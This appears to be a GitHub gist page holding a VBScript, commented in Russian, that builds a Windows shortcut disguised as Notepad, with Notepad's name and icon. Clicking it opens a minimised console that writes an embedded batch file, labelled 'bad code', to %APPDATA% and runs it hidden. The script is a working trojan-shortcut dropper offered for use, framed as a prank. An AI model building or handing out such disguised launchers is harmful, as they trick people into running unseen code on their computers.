-
-
Save vovanre/2d5489ba466c33378634 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Set oWS = WScript.CreateObject("WScript.Shell") ' Просто игнорируйте | |
' Куда сохранять ярлык | |
LNK = "Блокнот.lnk" | |
' Путь до иконки или программы с которой нужно содрать иконку | |
ICON = "notepad.exe" | |
' Bat файл с весёлым кодом | |
BAT_FILE = "Плохой код.bat" | |
' Временный файл куда будет сбрасываться код | |
TEMP_FILE = oWS.ExpandEnvironmentStrings("%APPDATA%") + "\_.bat" | |
' Тут пошла логика скрипта | |
Set linkFile = oWS.CreateShortcut(LNK) | |
linkFile.TargetPath = "cmd.exe" | |
linkFile.WindowStyle = 7 ' Свернутое окно консоли, что бы глаза не морозило >:) | |
linkFile.IconLocation = ICON | |
linkFile.Arguments = "/C (" + ConvertToArguments(BAT_FILE) + ") & (start /min " + TEMP_FILE + ")" | |
linkFile.Save | |
Function ConvertToArguments(batFile) | |
Set fso = CreateObject("Scripting.FileSystemObject") | |
Set dict = CreateObject("Scripting.Dictionary") ' Код чтения файла спёрт с stackoverflow.com | |
Set file = fso.OpenTextFile (batFile, 1) | |
row = 0 | |
Do Until file.AtEndOfStream | |
line = file.Readline | |
dict.Add row, line | |
row = row + 1 | |
Loop | |
file.Close | |
ARGUMENTS = "@echo off & (" | |
For Each line in dict.Items | |
If Len(Trim(line)) > 0 Then | |
ARGUMENTS = ARGUMENTS + "echo " + EchoEscape(line) + " & echo. & " | |
End If | |
Next | |
ARGUMENTS = ARGUMENTS + "echo rem From Pikabu) > " + TEMP_FILE | |
ConvertToArguments = ARGUMENTS | |
End Function | |
' Что бы echo корректно записывала в файл спец символы | |
Function EchoEscape(line) ' Не знаю как сделать лучше | |
line = Replace(line,"^","^^") | |
line = Replace(line,"&","^&") | |
line = Replace(line,"<","^<") | |
line = Replace(line,">","^>") | |
line = Replace(line,"|","^|") | |
line = Replace(line,"'","^'") | |
line = Replace(line,"`","^`") | |
line = Replace(line,",","^,") | |
line = Replace(line,";","^;") | |
line = Replace(line,"=","^=") | |
line = Replace(line,"(","^(") | |
line = Replace(line,")","^)") | |
line = Replace(line,"!","^!") | |
line = Replace(line,"""","^""") | |
EchoEscape = line | |
End Function |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment